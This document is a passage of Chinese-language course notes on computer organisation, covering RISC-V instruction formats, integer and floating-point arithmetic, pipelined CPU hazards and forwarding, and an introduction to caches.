| imm[11:0] | rs1 | 100 | rd | 0010011 | |||||||||||||||||||||||||||
- 使用格式
xori rd,rs1,immrd = rs1 ^ imm imm范围在-2048~2047,位数不够时会扩展符号位- 需要注意的是
xori rd,rs1,-1等价于与全1异或:rd=~rs1
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | shamt | rs1 | 001 | rd | 0010011 | ||||||||||||||||||||||||||
- 使用格式
slli rd,rs1,shamtrd = rs1 << shamt - 逻辑左移
shmat在原来rs2的位置上,为五位立即数;此时空出来相当于原来的func7
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0000000 | shamt | rs1 | 101 | rd | 0010011 | ||||||||||||||||||||||||||
- 使用格式
srli rd,rs1,shamtrd = rs1 >> shamt - 逻辑右移
shmat在原来rs2的位置上,为五位立即数;此时空出来相当于原来的func7
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| 0100000 | shamt | rs1 | 101 | rd | 0010011 | ||||||||||||||||||||||||||
- 使用格式
srai rd,rs1,shamtrd = $signed(rs1) >>> shamt - 算数右移,高位补符号位
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 000 | rd | 1100111 | |||||||||||||||||||||||||||
- 使用格式
jalr rd,rs1,immrd = pc+4; pc = (rs1 + imm) & ~1,即最低位为0 - 可以实现任意位置的跳转
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 000 | rd | 0000011 | |||||||||||||||||||||||||||
- 使用格式
lb rd,imm(rs1)rd = {{24M[rs1+imm][7]},M[rs1 + imm][7:0]} - 从内存的
rs1+imm地址处读取一个字节的数据,符号扩展到32位,存到rd中
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 001 | rd | 0000011 | |||||||||||||||||||||||||||
-
使用格式
lh rd,imm(rs1)rd = {{16M[rs1+imm][15]},M[rs1 + imm][15:0]} -
从内存的
rs1+imm地址处读取一个半字的数据,存到rd的低16位,符号扩展到32位
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 010 | rd | 0000011 | |||||||||||||||||||||||||||
- 使用格式
lw rd,imm(rs1)rd = M[rs1 + imm] - 从内存的
rs1+imm地址处读取一个字的数据,存到rd中
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 100 | rd | 0000011 | |||||||||||||||||||||||||||
- 使用格式
lbu rd,imm(rs1)`rd = M[rs1 + imm][7:0] - 从内存的
rs1+imm地址处读取一个字节的数据,零扩展到32位,存到rd中(高位全0)
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| imm[11:0] | rs1 | 101 | rd | 0000011 | |||||||||||||||||||||||||||
- 使用格式
lhu rd,imm(rs1)rd = M[rs1 + imm][15:0] - 从内存的
rs1+imm地址处读取一个半字的数据,零扩展到32位,存到rd中(高位全0)
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| 000000000000 | 00000 | 000 | 00000 | 1110011 | |||||||||||||||||||||||||||
ecall 系统调用
| 31 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||
| 000000000001 | 00000 | 000 | 00000 | 1110011 | |||||||||||||||||||||||||||
ebreak ,将控制流转到调试环境
store 类指令,将寄存器中的数据存储到内存中,存储的大小由func3决定,没有rd寄存器
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[11:5] | rs2 | rs1 | funct3 | imm[4:0] | opcode | ||||||||||||||||||||||||||
rd的5位和func7的7位一共12位组合成一个立即数
常用的S-type指令
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[11:5] | rs2 | rs1 | 000 | imm[4:0] | 0100011 | ||||||||||||||||||||||||||
- 使用格式
sb rs2,imm(rs1)M[rs1 + imm] = rs2[7:0] - 将
rs2的低8位存到内存的rs1+imm地址处
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[11:5] | rs2 | rs1 | 001 | imm[4:0] | 0100011 | ||||||||||||||||||||||||||
sh rs2,imm(rs1) M[rs1 + imm] = rs2[15:0]
- 将rs2的低16位存到内存的rs1+imm地址处
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[11:5] | rs2 | rs1 | 010 | imm[4:0] | 0100011 | ||||||||||||||||||||||||||
- 使用格式
sw rs2,imm(rs1)M[rs1 + imm] = rs2 - 将
rs2存到内存的rs1+imm地址处
在RISC-V指令集中,B型(B-type)指令用于条件分支,根据比较结果决定是否跳转到指定的偏移地址。B型指令通常包含两个寄存器进行比较以及一个立即数偏移量(表示跳转的距离)。
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | funct3 | imm[4:1,11] | opcode | ||||||||||||||||||||||||||
立即数为
最低位为0,不存;扩展到imm[12]位;将13位拼接完后,剩下高19位用inst[31]符号位填充,此时imm[11]可以不是符号位;imm[12]是符号位
常用的B-type指令
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | 000 | imm[4:1,11] | 1100011 | ||||||||||||||||||||||||||
- 使用格式:
beq rs1,rs2,immif(rs1 == rs2) pc = pc + imm - 可以跳转到\(\pm 2^{12}Byte\)的位置,即\(\pm 4KiB\)
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | 001 | imm[4:1,11] | 1100011 | ||||||||||||||||||||||||||
- 使用格式:
bne rs1,rs2,immif(rs1 != rs2) pc = pc + imm - 可以跳转到\(\pm 2^{12}Byte\)的位置,即\(\pm 4KiB\)
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | 100 | imm[4:1,11] | 1100011 | ||||||||||||||||||||||||||
- 使用格式:
blt rs1,rs2,immif($signed(rs1) < $signed(rs2)) pc = pc + imm - 有符号数
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | 101 | imm[4:1,11] | 1100011 | ||||||||||||||||||||||||||
- 使用格式:
bge rs1,rs2,immif($signed(rs1) >= $signed(rs2)) pc = pc + imm - 有符号数
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | 110 | imm[4:1,11] | 1100011 | ||||||||||||||||||||||||||
- 使用格式:
bltu rs1,rs2,immif(rs1 < rs2) pc = pc + imm - 无符号数比较
| 31 | 25 | 24 | 20 | 19 | 15 | 14 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||
| imm[12,10:5] | rs2 | rs1 | 111 | imm[4:1,11] | 1100011 | ||||||||||||||||||||||||||
- 使用格式:
bgeu rs1,rs2,immif(rs1 >= rs2) pc = pc + imm - 无符号数比较
| 31 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||||||
| imm[31:12] | rd | opcode | |||||||||||||||||||||||||||||
没有源操作数,只有目的操作数,立即数为
U-type指令
| 31 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||||||
| imm[31:12] | rd | 0110111 | |||||||||||||||||||||||||||||
- 使用格式
lui rd,immrd = imm << 12 - 将
imm位存入rd高20位 imm不能超过20位
| 31 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||||||
| imm[31:12] | rd | 0010111 | |||||||||||||||||||||||||||||
- 使用格式
auipc rd,immrd = pc + imm << 12 - aupic意思是add upper immediate to pc,将imm 加载到高 20 位,然后加上 pc 值
imm不能超过20位
| 31 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||||||
| imm[20,10:1,11,19:12] | rd | opcode | |||||||||||||||||||||||||||||
立即数为
imm最低位0不存,此时imm[20]是符号位,imm相当于21位有符号数
,跳转范围是\(\pm 2^{20}\)
JAL指令
| 31 | 12 | 11 | 7 | 6 | 0 | ||||||||||||||||||||||||||
| imm[20,10:1,11,19:12] | rd | 1101111 | |||||||||||||||||||||||||||||
- 使用格式
jal rd,immrd = pc + 4; pc = pc + imm - 将
pc+4存入rd,然后跳转到pc+imm处 - Jal指令的跳转范围是\(\pm 2^{20}Byte\),即\(\pm 1MiB\)
Arithmetic for Computer¶
约 3250 个字 25 张图片 预计阅读时间 11 分钟
Introduction¶
计算机中的指令可以分为三类:
memory-reference instructions
lw, sw
需要 ALU 计算内存地址
lw指的是 load word, 从内存中读取一个字,sw指的是 store word, 将一个字存入内存。
arithmetic-logical instructions
add, sub, and, or, xor, slt
需要 ALU 进行计算
slt指的是 set less than, 如果第一个操作数小于第二个操作数,那么将结果设置为 1,否则为 0。
control flow instructions
beq, bne, jal
需要 ALU 进行条件判断
beq指的是 branch equal, 如果两个操作数相等,那么跳转到指定地址。bne指的是 branch not equal, 如果两个操作数不相等,那么跳转到指定地址。jal指的是 jump and link, 跳转到指定地址并将下一条指令的地址存入寄存器。
Signed Number Formats(有符号数的表示)¶
- Sign and magnitude
- 2's Complement
- 1's Complement
- Biased notation
what is biased notation
偏置表示法(或 偏移表示法 )是一种在计算机科学中常用的数值编码系统,主要用于表示正数和负数。它通过引入一个 偏置 或 偏移量 到实际数值,使得所有编码的数字都是非负数,这样可以简化硬件实现。在浮点数表示等系统中,这种方法特别有用。
- 偏置或偏移量: 在编码时给实际数值加上一个固定的偏置。
-
编码过程:
当一个数字要被编码时,需要将其值加上一个固定的偏置。例如,如果偏置是 127,而数字是 -5,那么编码后的值将是 \(-5 + 127 = 122\)。 -
解码过程:
当需要解码时,解码器将从编码后的数字中减去偏置,以恢复原始的值。例如,编码值 122 经过解码时,减去 127 得到原始值 \(-5\)。
假设我们使用 8 位二进制数来表示数字,偏置设定为 127:
-
编码时:
- 数字 0 编码为 \(0 + 127 = 127\),即二进制表示为
01111111 - 数字 5 编码为 \(5 + 127 = 132\),即二进制表示为
10000100 - 数字 -3 编码为 \(-3 + 127 = 124\),即二进制表示为
01111100
- 数字 0 编码为 \(0 + 127 = 127\),即二进制表示为
-
解码时:
- 如果读取到
01111111,对应的值为 \(127 - 127 = 0\) - 如果读取到
10000100,对应的值为 \(132 - 127 = 5\) - 如果读取到
01111100,对应的值为 \(124 - 127 = -3\)
- 如果读取到
-
应用场景:
偏置表示法常用于 浮点数表示,尤其是在IEEE 754 标准中,浮点数的指数部分使用了偏置表示法。这使得指数可以同时表示正数和负数,简化了硬件电路的设计与实现。
偏置表示法通过添加一个固定的偏移量,使数值表示更加方便,特别是在底层硬件实现上有较大优势。
Why we need biased notation
上图是 32 位的二进制补码表示,我们可以看到左侧二进制表示,如果看作无符号数,那他们是从小到大排列的;但右侧对应的十进制整数确实分段单增的。
我们希望有一种这样的表示,能够让右侧的对应的值也单调递增。
一个想法是对右侧数加上 \(2^{31}\), 相当于其二进制表示下最高位翻转。
计算偏移码
在没有说明的情况下,\([X]_b = 2^n + X\) 从二进制码到移码,只需要翻转符号位即可。
在 IEEE 标准中,偏移码要加上 \(2^{n-1}-1\) 而不是 \(2^{n}\)
Arithmetic¶
- Addition
- Substraction(通过加法实现,减去一个数等于加上这个数的补码)
- Overflow detection:
Overflow detection
无符号数的溢出:
有符号数的溢出:
在二进制加减法中,溢出(Overflow)是指计算结果超出了可表示的数值范围,通常发生在 有符号数 运算中。
在设计加减法器时,通常在数据位的基础上再增加一位用于判断是否溢出或者进位。这一位通常称为 溢出位(Overflow Bit)或 进位位(Carry Bit)。
有符号数的溢出有以下几种情况
| Operation | Operand A | Operand B | Result overflow |
|---|---|---|---|
| A + B | ≥ 0 | ≥ 0 | < 0 (01) |
| A + B | < 0 | < 0 | ≥ 0 (10) |
| A - B | ≥ 0 | < 0 | < 0 (01) |
| A - B | < 0 | ≥ 0 | ≥ 0 (10) |
可以发现,溢出时\(C_n \oplus C_{n-1}\)即进位位和最高位的异或结果为1。
而对于无符号数,只有一种情况会发生溢出,即结果大于可表示的最大值,carry bit为1。
Key-point
当ALU使用的是加减法操作时,才有\(C_n \oplus C_{n-1}\)
Constructing an ALU
注: RISC-V 不支持 nor 指令。
Multiplication¶
Unsigned multiplication¶
Version 1
第一种乘法器,判断乘数的最低位是否为 1,如果是则被乘数加部分和存到结果里面,否则加0。每次左移被乘数,右移乘数。
需要 64+64+32 bit 的寄存器,和一个 64 bit ALU.
Version 2
在Version1中,实际上每次进行的加法都是32位的,每次加完以后,product的最低位就不会变化,因此我们可以使用32位的ALU,每次右移product而不是左移乘数,然后让乘数与product相加即可。 这样原本需要64+64+32 bit 的寄存器,和一个 64 bit ALU. 变成了 32+64+32 bit 的寄存器,和一个 32 bit ALU.
Version3
Version2中,64位的product每次右移,其中只有高32位有用,那么低32位恰好可以用来存放乘数。这样我们就可以只用32位的寄存器和ALU来实现乘法。
例-4位乘法,高四位结果,低四位乘数
Signed multiplication¶
有符号相乘不能直接乘,可以先用符号位决定结果符号,再对绝对值进行乘法。
Booth's Algorithm
思想:如果有一串 1, 减掉乘数的第一个 1, 后面的 1 的序列进行移位,当上一步是最后一个 1 时加。
最开始把积放在高位,被乘数放在低位。(数据保存方法同 2.1.1)默认 \(bit_{-1}=0\)
-
Action
- 10 - subtract multiplicand from left
- 11 - nop
- 01 - add multiplicand to left half
- 00 - nop
每个操作结束后都要移位,和 2.1.1 中类似
Key-point
需要注意的是 Booth算法中,每一次是两位两位看,对于\(n\)位的,需要进行\(n\)次操作,但是两位两位看只能看到\(n-1\)位,因此开始之前是需要在最后一位加上一个 0 再开始做乘法的
注意移位时不要改变符号位。
Example
被乘数 Multiplicand 是 0010, 乘数 Multiplier 是 1101.
最开始将积 0000 放在高四位, 1101 作为乘数放在低四位。
最开始 10, 即执行减操作, \(0000-0010=1110\). 答案依然放在高四位,随后右移,以此类推。
注意右移的时候是 算术右移 ,即符号位不变。
Faster Multiplication¶
32 位数乘 32 位数,相当于 32 个 32 位数相加。(并行加速)
Division¶
Version
- At At first the divisor is in the left half of the divisor register,the dividend is in the right half of the remainder register.
- Shift the divisor right each step
即对每一步,都在余数中减去除数,如果结果大于等于0,那么商左移上1,否则将结果加回去,商左移上0。
需要注意的是,由于一开始remainder寄存器右边是被除数,divisor寄存器左半边是除数,前很多次的结果都是负的
7 / 2
\(00000111 / 0010\)
Version
优化过程与乘法类似,因为每次都是remainder的最高位在减,减完就没用了,可以移出去,不再右移divisor,而是左移remainder,并且将quotient也存在Remainder寄存器每次左移产生的空位中
Key-point
remainder 寄存器其实要多一位的,因为最后一步要右移,不能直接把它丢掉
Eg
!!!question "为什么除法的移位这么奇怪“ 对于Version1,要进行 \(n+1\) 次的移位,是为了在最后一步将商补全,同时也抵消最后一步的影响来满足余数的正确性; 对于Version2,要进行第一次的整体左移是为了得到正确的余数,而在最后一步中,由于商还要进来,余数会多出一位,因此要左半部分右移一位。
对于有符号数的除法,用绝对值来做,然后在结果上加上符号位
sign of quotient = sign of dividend \(\oplus\) sign of divisor
sign of remainder = sign of dividend
Floating point number¶
进制转换
二进制小数转十进制,如果是科学计数法,可以先仿照十进制的科学计数法用指数进行小数点的移动,然后再转换,这样可以减少计算小数的次数。
十进制转换二进制,可以先转换整数部分,再转换小数部分,小数部分可以依次与\(2^{-n}\)比较,如果大于等于,那么结果的第 n 位为 1,否则为 0,上了 1 之后,要减去 \(2^{-n}\),再继续比较,直到达到精度的要求。
| S | exp | frac | |
|---|---|---|---|
| Float(位数) | 1 | 8 | 23 |
| Double(位数) | 1 | 11 | 52 |
Normalized form: \(N=(-1)^S\times M\times 2^E\)
- S: sign. \(S=1\) indicates the number is negative.
- M: 尾数. Normally, \(M=1.frac=1+frac\).
- E: 阶码. Normally, \(E=exp-Bias\) where \(Bias=127\) for floating point numbers. \(Bias = 1023\) for double.
Key-point
- 为什么要把 exponent 放在前面?(因为数的大小主要由 exponent 决定。)
- 为什么需要 Bias?(移码)可以不保存负数,用的是IEEE标准,即对于8位的移码,\(Bias=2^{7}-1=127\),对于11位的移码,\(Bias=2^{10}-1=1023\)。
- 以上是规格化数,尾数前应该有前导 1,就类似于十进制的科学计数法,前导必须大于0小于10.对于2进制,前导必须大于0小于2,也就是1.
Denormal Numbers¶
- \(Exponent=000\ldots 0\)
非规格化数,让数在较小时能逐渐下溢出,在Exponent的部分以全零作为保留字,但是并不代表指数是0,而是说此时的小数不是1.xxxx而是0.xxxx。
\(x=(-1)^s\times((0+Fraction)\times 2^{1-Bias})\)
注意此时指数是 \(1-Bias=-126/-1022\).
Precision¶
- signle: approx \(2^{-23}\)
\(23\times \log_{10}{2} \approx 23\times 0.3 \approx 7\) demical digits of precision. - double: approx \(2^{-52}\)
\(52\times \log_{10}{2}\approx 52\times 0.3 \approx 16\) demical digits of preicsion.
Limitations¶
- Overflow: The number is too big to be represented
- Underflow: The number is too small to be represented
Floating-Point Addition¶
-
Alignment
统一指数,一般小的往大的变。因为系统精度位数有限,如果将大的往小的变,那可能会因此损失较大。Example
-
The proper digits have to be added
- Addition of significands
- Normalization of the result
- Rounding
Example
FP Adder Hardware
- step 1 在选择指数大的,并进行对齐。同时尾数可能还要加上前导 1.
- step 3 是对结果进行标准化。
- 蓝色线为控制通路,黑色线为数据通路。
Floating-Point Multiplication¶
\((s1\cdot 2^{e1}) \cdot (s2\cdot 2^{s2}) = (s1\cdot s2)\cdot 2^{e1+e2}\)
- Add exponents
- Multiply the significands
- Normalize
- Over/Underflow?
有的话要抛出异常,通过结果的指数判断。 - Rounding
- Sign
注意
Exponet 中是有 Bias 的,两个数的 exp 部分相加后还要再减去 Bias.
Example
Data Flow
- 右边往回的箭头: Rounding 后可能会进位。
- Incr 用于标准化结果,与右侧 Shift Right 配合。
Accurate Arithmetic¶
- Extra bits of precision (guard, round, sticky)
- guard, round
为了保证四舍五入的精度。
结果没有,只在运算的过程中保留 - sticky
末尾如果不为全 0, 则 sticky 位为 1, 否则为 0.
- guard, round
Example
Guard, round, sticky 位的作用 保留位和舍入位的作用可以提高精度,例如十进制中如果加上舍入位,那么在51和99之间的会向上舍入,而在50和00之间的会向下舍入,这样可以减少误差。 例如2.34+0.0256=2.3656,舍入为2.37,而2.34+0.02=2.36,舍入为2.36,存在1ulp的误差; 在有些情况下,结果左移之后将保护位变成了最低位,只剩下舍入位一位来进行舍入,这样会导致误差增大,而加上sticky位,可以保证在舍入位后面的位数不为0时,舍入位不会被舍去,从而提高精度。例如如果是2.34+0.0050001,如果没有sticky位,那么结果是2.3450,舍入到最近的偶数2.34,而有了sticky位,知道结果是比2.3450大,舍入到最近的偶数2.35。
在二进制中,就是1进0舍,例如小数点后第三位为最低位的1.100_10+0.000_00_11111=1.100_10,此时Guard位为1,Round位为0,Sticky位为1,如果没有sticky位,那么结果就是舍入到最近的偶数1.100,而有了sticky位,知道结果是比1.100_10大,舍入到1.101。
Key-point
总的来说,G位如果等于进制的一半,则看它的下一位R位,如果R位大于0了,那么进位,如果为0,那么看S位,如果S位大于0,那么进位。如果RS位都是0了,那么选择最近的偶数来进位。(LSB是奇数,进位;LSB是偶数,舍去屁股后面的)
损失不会超过 0.5 个 ulp.
处理器¶
约 2603 个字 8 行代码 12 张图片 预计阅读时间 9 分钟
这一章节主要讨论了单周期和流水线CPU的原理和设计,在实验课上,我们也会使用Verilog来实现这两种CPU.
而CPU的工作流程可以分为以下几个步骤:
- 取指令 (Instruction Fetch),IF: 从内存中取出当前指令,并将其存储在指令寄存器中。
- 指令译码 (Instruction Decode),ID: 解析指令,确定操作码和操作数,并读取必要的寄存器值。
- 执行 (Execution),EX: 根据指令类型执行相应的操作,例如算术运算、逻辑运算或内存访问。
- 访存 (Memory Access),MEM: 如果指令需要访问内存(例如加载或存储指令),则进行相应的内存读写操作。
- 写回 (Write Back),WB: 将执行结果写回到目标寄存器中,以便后续指令使用。
这些步骤在单周期CPU中是顺序执行的,且在同一个时钟周期内完成,而在流水线CPU中则是并行执行的,同一个时钟周期内可以完成多个步骤,以提高处理器的效率。
单周期CPU¶
SCPU的理论实际上做过一遍实验就很清楚了,考察的点也只是对于Datapath的理解还有不同指令对应的control signal的设置.
在这里贴上笔者这一部分的实验报告
中断/异常实际上就是说在执行指令的过程中,如果发生了中断/异常,那么就跳转到中断处理程序,执行完中断处理程序之后再跳转回来继续执行指令。
更详细的各种寄存器可以参考
流水线CPU¶
与单周期相比,流水线的理论部分由于Harzard的存在,就变得比较困难了;
笔者在实验课上实现的是一个5级流水线的CPU,使用Forwarding来解决数据冒险,使用将BJ-type的指令提前到ID阶段来解决控制冒险.
贴上实验报告
引入¶
教材上对于流水线CPU的引入采用了洗衣服的比喻
如图所示,将洗衣服这一过程分成了互不相干的四个步骤:
- 取衣服
- 用洗衣机洗
- 叠衣服
- 放好
如果按顺序做,洗三次需要3*4=12个时间单位,而如果流水线化,则只需要4+3=7个时间单位.
加速比为
运用这一思想,我们也可以将CPU互不影响的的五个阶段分别执行,以提高CPU的效率;
Note
上面的例子也给了我们加速比的计算方法,对于\(k\)级流水线,如果有\(m\)条指令,那么加速比为
当\(m\)趋近于无穷大时,加速比趋近于\(k\).
理想情况下,当指令充满流水线时,每一个时钟周期都可以完成一条指令,即CPI=1.
Info
对于上面的示意图,横向看,对于每一条指令,每一个阶段在不同的时钟周期完成,纵向看,对于每一个时钟周期(当指令充满流水线时)都有五条指令的不同阶段在执行.
流水线可以提高CPU的吞吐量(throughput),但是并没有改变每一条指令的执行时间Latency
在SCPU中,一个时钟周期的长度取决于用时最长的 指令 所需的时间(五个阶段加起来).
在流水线CPU中,一个时钟周期的长度取决于用时最长的 阶段 所需的时间.
Datapath¶
与单周期CPU不同,流水线CPU的datapath当然不能直接照搬过来,由于每个时钟周期都有不同的指令的不同阶段在执行,所以中间需要插入四个寄存器将五个阶段的信号隔开来;
同时也附上笔者画的Datapath:
由于在前面阶段的信号在后面也有可能要用到,所以需要考虑哪些信号需要跟着流水级一起前进, 同时从datapath也可以看到一条指令每一个阶段用到的东西都是不一样的(对于寄存器堆虽然读和写用的是同一个regfile,但是在不同的时间段用到,所以也是不一样的)
Advice
如果想要完全掌握CPU的工作流程,一定要自己画一遍Datapath!一定要 自己画一遍Datapath!一定要自己画一遍Datapath!
至此来看,流水线CPU的设计似乎已经完美了,然而现实很骨感,仍有三座大山阻碍着我们的前进
- 结构冒险
- 数据冒险
- 控制冒险
Structure Hazard¶
Structure Hazard是由于硬件资源的冲突导致的,比如在一个时钟周期内,两个指令同时要访问同一个硬件资源,这就会导致Structure Hazard(结构冒险).
可能同时被两条指令访问的结构有
-
寄存器堆:这个不用担心,因为我们实现的寄存器堆同时具有读口和写口,所以不会有冲突
-
内存:如果我们只有一个内存,那么在同一个时钟周期内,两个指令同时要访问内存(取指令和数据访存),解决的方法也很简单,只要把数据内存和指令内存分开就行了
然而,有的时候为了减小成本或者提高性能,有可能会允许机器出现结构冒险;
Data Hazard¶
Data Hazard是由于数据相关导致的,即某条指令的执行依赖于前面指令的完成;
例如下面的指令
当第二条指令执行到EX阶段时,第一条指令在MEM阶段,还没有写回;隔多少条指令才不会有data hazard
- 相邻的指令,肯定有,无需多言
-
隔一条指令,当后执行的指令在ID阶段时,前面的指令在MEM阶段,也会有
-
隔两条指令,当后执行的指令在ID阶段时,前面的指令在WB阶段,此时分为两种情况
-
如果实现了double pump,即阶段寄存器在时钟上升沿写,寄存器堆在时钟下降沿写,即写回阶段在前半个时钟周期完成写入,由于ID阶段是一直读的,所以后半个时钟周期读到了正确的数据,在下一个时钟周期上升沿到来之前可以把数据传递给EX阶段,所以不会有data hazard
-
如果没有实现double pump,那么在下一个时钟周期上升沿到来之前,数据还没有写入,所以会有data hazard
-
stall¶
解决data hazard的方法有两种,第一种是直接等待(stall),即在ID阶段检测到data hazard之后,停止流水线,等待数据写回,这样会导致流水线效率的降低;
对于实现了double pump的CPU,只用停两个时钟周期,对于没有实现double pump的CPU,则需要停三个时钟周期.
这就好比在流水线中插入了气泡
stall的检测在ID阶段,stall做的事就是IF/ID阶段不变,PC也不变,ID/EX阶段的控制信号设置为0,这样就可以停止流水线了.
Forwarding¶
第二种方法是Forwarding,即前递,这个名字很形象,就是把数据提前传递给需要的地方;
在上一条指令的EX阶段结束后,就可以在该指令的MEM阶段把数据往前传递给下一条指令的EX阶段来使用.
判断的条件为MEM阶段或者WB阶段的目的寄存器是否需要改变ID阶段的源寄存器,如果是,则需要进行Forwarding.
EX/MEM.write && ID/EX.rs1 == EX/MEM.rdEX/MEM.write && ID/EX.rs2 == EX/MEM.rdMEM/WB.write && ID/EX.rs1 == MEM/WB.rdMEM/WB.write && ID/EX.rs2 == MEM/WB.rd
其中EX/MEM.write=EX/MEM.regWrite && EX/MEM.rd!=0, MEM/WB.write=MEM/WB.regWrite && MEM/WB.rd!=0
所以,需要在EX阶段的ALU加入判断是否前递的旁路输入线路
还没结束,当我们连续对同一个寄存器进行改变
这时候明显两种条件都满足,所以需要为它们加上优先级,实际上也不难发现,我们应该优先检测EX/MEM阶段的前递,因为它的数据是最新的,只有当它不满足,我们才检测MEM/WB阶段的前递.还有最后一种需要考虑的情况
当我们load指令后面跟着依赖它的指令的时候,我们必须要stall一个周期等待mem阶段结束,再把数据传递给下一条指令的EX阶段.
否则就会出现"时间穿梭",即MEM阶段还没结束就把数据传出去了,这是不允许的.
很好,现在我们只剩下最后一个控制冒险了
Control Hazard¶
当我们遇到跳转指令的时候,我们在EX阶段判断它是否跳转,但是早在ID阶段,下一条指令的IF阶段就已经开始取指令了,这就会导致控制冒险.
解决的方法有以下几种
- stall直接等待知道判断结束再进行取指令,但是太慢了
- 静态预测
- 总是预测跳转:将跳转后的指令取进来,如果最后是不跳转的,那么就flush掉
- 总是预测不跳转:将原本跟着的指令取进来,如果最后是跳转的,那么就flush掉
- 动态预测(最常用)
- 一位预测,根据前面的跳转情况来预测当前情况,但是对于嵌套循环必有两次错误
- 两位预测,根据前面两次的跳转情况来预测当前情况,只有连续预测错两次才改变预测结果,容错率更高
-
将BJ-type的指令提前到ID阶段,可以与静态预测结合使用,也可以直接跟一条nop指令,ID结束后把正确的指令拿进来,不需要flush,比较简单
-
将跳转过的地址做一张索引表,快速寻址
Large and Fast: Exploiting Memory Hierarchy¶
约 3177 个字 10 张图片 预计阅读时间 11 分钟
- 硬盘: 慢, 大, 便宜;
- SRAM: 静态随机存取存储器, 速度快, 价格贵, 容量小;
- DRAM: 动态随机存取存储器, 速度慢, 价格便宜, 容量大;
Cache的引入¶
在访问指令和数据时,我们都需要对memory进行访问;直接访问memory时很费时的,为了节省时间,我们可以造一块小的"内存",将其放在内存和CPU之间,这个小内存的访问速度比较快,里面存放的是即将被访问的数据,这就是cache(缓存);
这样的实现依赖于程序对memory的访问具有 两个局部性(Locality)
- 时间局部性(Temporal Locality): 如果一个内存位置被访问,那么它很可能在不久的将来再次被访问;
- 空间局部性(Spatial Locality): 如果一个内存位置被访问,那么它附近的位置很可能在不久的将来被访问;
基本概念
- Block: 存储在缓存中的数据单位。一般是Byte的倍数;
- Hit: 当所需数据在缓存中找到时的情况。
- Miss: 当所需数据不在缓存中,需要从更低层次的存储器中获取时的情况。
- Miss Rate: 缓存未命中次数占总访问次数的比例。
- Miss Penalty: 由于缓存未命中而需要从更低层次存储器中获取数据所花费的额外时间。
Cache的基本组成¶
直接映射Cache¶
所谓直接映射的Cache(Direct-Mapped Cache),就是将内存中的一个Block直接映射到Cache中的一个Block;
是单射, 即一个内存地址只能映射到Cache中的一个地址;
假设我们现在有一个Cache,其能存放八个块(8 entry),现在有32个Block,那么我们就可以将这32个Block依次标上0-31的编号,得到块地址(Block index),然后依次将这些index模8,得到0-7的编号,然后将这些编号作为Cache的index,这样就可以将32个Block映射到Cache的8个块中;
从上面也可以看出,可能会有多种内存地址映射到同一个Cache的index,为了区分,我们还需要额外的一些位来区分不同的block,这就是标签(Tag).
最后,我们还需要一位Valid bit来区分当前的Block是否是内存中取出来的有效数据,还是一些无用的杂乱数据
所以,我们就得到了Cache的组成:
Cache
Cache 里面每一行只用存放一个Block,一个Tag和一个Valid bit,index是不需要要存放的.
举个例子,假如我们现在有一个32位字节地址,一个块是4个字节,Cache有8个块,那么我们就可以将32位字节地址分为三部分:
- Byte offset: 2位
- Block index: 3位
- Tag: 27位
如果有的时候给出十进制地址,我们也可以将其转换为二进制地址,然后进行上述的划分;
当然,更快捷的方法是:
原地址 / 块大小 = 块地址,然后取余数,得到Byte offset;
块地址 / Cache的组数(对于直接映射Cache,组数为块数) = Tag,然后取余数,得到Block index;
计算Cache的大小
组相联Cache¶
组相连Cache(Set Associative Cache),就是将Cache中的块分为若干组,每组中的块数可以是多块;
例如二路组相联Cache,一组,允许两个块映射到同一个Cache的同一组;
